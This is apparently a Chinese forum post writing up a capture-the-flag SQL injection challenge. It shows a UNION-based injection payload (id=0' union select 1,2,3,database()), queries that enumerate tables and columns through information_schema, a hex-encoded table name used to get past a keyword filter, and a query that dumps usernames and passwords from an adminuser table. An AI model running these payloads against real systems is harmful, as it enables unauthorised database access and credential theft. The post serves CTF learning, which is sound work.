本帖最后由 zesiar 于 2020-2-9 22:39 编辑
1.依次填入id=1,2,3,都有返回,id=4时没有返回猜测数据库一共有四列,用内置函数database()进行爆破获取数据库的名字
id=0' union select 1,2,3,database()
至于为什么使用union select 的时候再后面添加1,2,3,这几个数字纯粹是凑数的,凑够和union关键字前面的那个表的字段数一样,不然没法拼接成一个表。在sql注入的时候,在将相应位置替换成你想获得的数据,查询结果后面就会显示出来。
此处可以看出数据库的名字叫做skctf_flag
这里记一点零碎的知识:
mysql中的information_schema 结构用来存储数据库系统信息
用该语句得到当前库的所有表
select group_concat(table_name) from information_schema.tables where table_schema=database()
得到表中的字段名 将敏感的表进行16进制编码
现在我们去爆破表名
2.得到表名fl4g,sc,我们要的数据就在fl4g里面
再将fl4g转换为十六进制,避过敏感词汇
select group_concat(column_name) from information_schema.columns where table_name=0x666c3467#
得到字段的具体值skctf_flag
3.select group_concat(username,0x3a,password) from adminuser,由此我们构造skctf_flag from fl4g
得到flag
|